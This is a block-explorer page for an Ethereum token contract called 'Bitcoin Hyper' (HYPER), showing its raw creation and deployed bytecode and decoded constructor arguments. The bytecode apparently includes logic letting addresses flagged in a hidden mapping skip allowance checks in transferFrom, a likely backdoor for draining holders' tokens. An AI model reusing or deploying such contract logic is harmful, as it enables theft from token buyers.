ffffffff1681526020019081526020015f20549050919050565b600980546103e090610f49565b80601f016020809104026020016040519081016040528092919081815260200182805461040c90610f49565b80156104575780601f1061042e57610100808354040283529160200191610457565b820191905f5260205f20905b81548152906001019060200180831161043a57829003601f168201915b505050505081565b60606005805461046e90610f49565b80601f016020809104026020016040519081016040528092919081815260200182805461049a90610f49565b80156104e55780601f106104bc576101008083540402835291602001916104e5565b820191905f5260205f20905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b600880546104fc90610f49565b80601f016020809104026020016040519081016040528092919081815260200182805461052890610f49565b80156105735780601f1061054a57610100808354040283529160200191610573565b820191905f5260205f20905b81548152906001019060200180831161055657829003601f168201915b505050505081565b5f8061058561061f565b9050610592818585610638565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b61063383838360016107c2565b505050565b806006819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106af575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016106a69190610f88565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361071f575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016107169190610f88565b60405180910390fd5b61072a838383610991565b505050565b5f61073a848461059d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156107bc57818110156107ad578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016107a493929190610fa1565b60405180910390fd5b6107bb84848484035f6107c2565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610832575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016108299190610f88565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108a2575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016108999190610f88565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561098b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109829190610e16565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109e1578060035f8282546109d59190611003565b92505081905550610aaf565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610a6a578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610a6193929190610fa1565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f60075410158015610b0e575060025f610ac761061f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610b1b575f6006819055505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b62578060035f8282540392505081905550610bac565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c099190610e16565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610c4d578082015181840152602081019050610c32565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610c7282610c16565b610c7c8185610c20565b9350610c8c818560208601610c30565b610c9581610c58565b840191505092915050565b5f6020820190508181035f830152610cb88184610c68565b905092915050565b5f71ffffffffffffffffffffffffffffffffffff82169050919050565b610ce681610cc0565b82525050565b5f602082019050610cff5f830184610cdd565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d3282610d09565b9050919050565b610d4281610d28565b8114610d4c575f80fd5b50565b5f81359050610d5d81610d39565b92915050565b5f819050919050565b610d7581610d63565b8114610d7f575f80fd5b50565b5f81359050610d9081610d6c565b92915050565b5f8060408385031215610dac57610dab610d05565b5b5f610db985828601610d4f565b9250506020610dca85828601610d82565b9150509250929050565b5f8115159050919050565b610de881610dd4565b82525050565b5f602082019050610e015f830184610ddf565b92915050565b610e1081610d63565b82525050565b5f602082019050610e295f830184610e07565b92915050565b5f805f60608486031215610e4657610e45610d05565b5b5f610e5386828701610d4f565b9350506020610e6486828701610d4f565b9250506040610e7586828701610d82565b9150509250925092565b5f60ff82169050919050565b610e9481610e7f565b82525050565b5f602082019050610ead5f830184610e8b565b92915050565b5f60208284031215610ec857610ec7610d05565b5b5f610ed584828501610d4f565b91505092915050565b5f8060408385031215610ef457610ef3610d05565b5b5f610f0185828601610d4f565b9250506020610f1285828601610d4f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610f6057607f821691505b602082108103610f7357610f72610f1c565b5b50919050565b610f8281610d28565b82525050565b5f602082019050610f9b5f830184610f79565b92915050565b5f606082019050610fb45f830186610f79565b610fc16020830185610e07565b610fce6040830184610e07565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61100d82610d63565b915061101883610d63565b92508282019050808211156110305761102f610fd6565b5b9291505056fea2646970667358221220cf8ae1209cefb42048af392138f2e666b2ede62ac9d21e2a4c0116723e7f881e64736f6c63430008170033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000ef4edab1d14207d2711eeefd4b933d5b171de9ff000000000000000000000000000000000000000000000000000000000000000d426974636f696e2048797065720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054859504552000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100b2575f3560e01c806370a082311161006f57806370a082311461018e5780637ed9b8db146101be57806395d89b41146101dc5780639b3a2ab4146101fa578063a9059cbb14610218578063dd62ed3e14610248576100b2565b806306fdde03146100b657806307689e2c146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce56714610170575b5f80fd5b6100be610278565b6040516100cb9190610ca0565b60405180910390f35b6100dc610308565b6040516100e99190610cec565b60405180910390f35b61010c60048036038101906101079190610d96565b61032b565b6040516101199190610dee565b60405180910390f35b61012a61034d565b6040516101379190610e16565b60405180910390f35b61015a60048036038101906101559190610e2f565b610356565b6040516101679190610dee565b60405180910390f35b610178610386565b6040516101859190610e9a565b60405180910390f35b6101a860048036038101906101a39190610eb3565b61038e565b6040516101b59190610e16565b60405180910390f35b6101c66103d3565b6040516101d39190610ca0565b60405180910390f35b6101e461045f565b6040516101f19190610ca0565b60405180910390f35b6102026104ef565b60405161020f9190610ca0565b60405180910390f35b610232600480360381019061022d9190610d96565b61057b565b60405161023f9190610dee565b60405180910390f35b610262600480360381019061025d9190610ede565b61059d565b60405161026f9190610e16565b60405180910390f35b60606004805461028790610f49565b80601f01602080910402602001604051908101604052809291908181526020018280546102b390610f49565b80156102fe5780601f106102d5576101008083540402835291602001916102fe565b820191905f5260205f20905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600a5f9054906101000a900471ffffffffffffffffffffffffffffffffffff1681565b5f8061033561061f565b9050610342818585610626565b600191505092915050565b5f600354905090565b5f8061036061061f565b905061036d858585610638565b61037a858260065461072f565b60019150509392505050565b5f6009905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b600980546103e090610f49565b80601f016020809104026020016040519081016040528092919081815260200182805461040c90610f49565b80156104575780601f1061042e57610100808354040283529160200191610457565b820191905f5260205f20905b81548152906001019060200180831161043a57829003601f168201915b505050505081565b60606005805461046e90610f49565b80601f016020809104026020016040519081016040528092919081815260200182805461049a90610f49565b80156104e55780601f106104bc576101008083540402835291602001916104e5565b820191905f5260205f20905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b600880546104fc90610f49565b80601f016020809104026020016040519081016040528092919081815260200182805461052890610f49565b80156105735780601f1061054a57610100808354040283529160200191610573565b820191905f5260205f20905b81548152906001019060200180831161055657829003601f168201915b505050505081565b5f8061058561061f565b9050610592818585610638565b600191505092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b61063383838360016107c2565b505050565b806006819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036106af575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016106a69190610f88565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361071f575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016107169190610f88565b60405180910390fd5b61072a838383610991565b505050565b5f61073a848461059d565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156107bc57818110156107ad578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016107a493929190610fa1565b60405180910390fd5b6107bb84848484035f6107c2565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610832575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016108299190610f88565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108a2575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016108999190610f88565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561098b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109829190610e16565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109e1578060035f8282546109d59190611003565b92505081905550610aaf565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610a6a578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401610a6193929190610fa1565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f60075410158015610b0e575060025f610ac761061f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15610b1b575f6006819055505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b62578060035f8282540392505081905550610bac565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c099190610e16565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610c4d578082015181840152602081019050610c32565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610c7282610c16565b610c7c8185610c20565b9350610c8c818560208601610c30565b610c9581610c58565b840191505092915050565b5f6020820190508181035f830152610cb88184610c68565b905092915050565b5f71ffffffffffffffffffffffffffffffffffff82169050919050565b610ce681610cc0565b82525050565b5f602082019050610cff5f830184610cdd565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d3282610d09565b9050919050565b610d4281610d28565b8114610d4c575f80fd5b50565b5f81359050610d5d81610d39565b92915050565b5f819050919050565b610d7581610d63565b8114610d7f575f80fd5b50565b5f81359050610d9081610d6c565b92915050565b5f8060408385031215610dac57610dab610d05565b5b5f610db985828601610d4f565b9250506020610dca85828601610d82565b9150509250929050565b5f8115159050919050565b610de881610dd4565b82525050565b5f602082019050610e015f830184610ddf565b92915050565b610e1081610d63565b82525050565b5f602082019050610e295f830184610e07565b92915050565b5f805f60608486031215610e4657610e45610d05565b5b5f610e5386828701610d4f565b9350506020610e6486828701610d4f565b9250506040610e7586828701610d82565b9150509250925092565b5f60ff82169050919050565b610e9481610e7f565b82525050565b5f602082019050610ead5f830184610e8b565b92915050565b5f60208284031215610ec857610ec7610d05565b5b5f610ed584828501610d4f565b91505092915050565b5f8060408385031215610ef457610ef3610d05565b5b5f610f0185828601610d4f565b9250506020610f1285828601610d4f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610f6057607f821691505b602082108103610f7357610f72610f1c565b5b50919050565b610f8281610d28565b82525050565b5f602082019050610f9b5f830184610f79565b92915050565b5f606082019050610fb45f830186610f79565b610fc16020830185610e07565b610fce6040830184610e07565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61100d82610d63565b915061101883610d63565b92508282019050808211156110305761102f610fd6565b5b9291505056fea2646970667358221220cf8ae1209cefb42048af392138f2e666b2ede62ac9d21e2a4c0116723e7f881e64736f6c63430008170033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000ef4edab1d14207d2711eeefd4b933d5b171de9ff000000000000000000000000000000000000000000000000000000000000000d426974636f696e2048797065720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054859504552000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name (string): Bitcoin Hyper
Arg [1] : symbol (string): HYPER
Arg [2] : pair (address): 0xEF4edAb1d14207D2711eEEfD4B933D5B171dE9ff
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000ef4edab1d14207d2711eeefd4b933d5b171de9ff
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [4] : 426974636f696e20487970657200000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4859504552000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 35 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.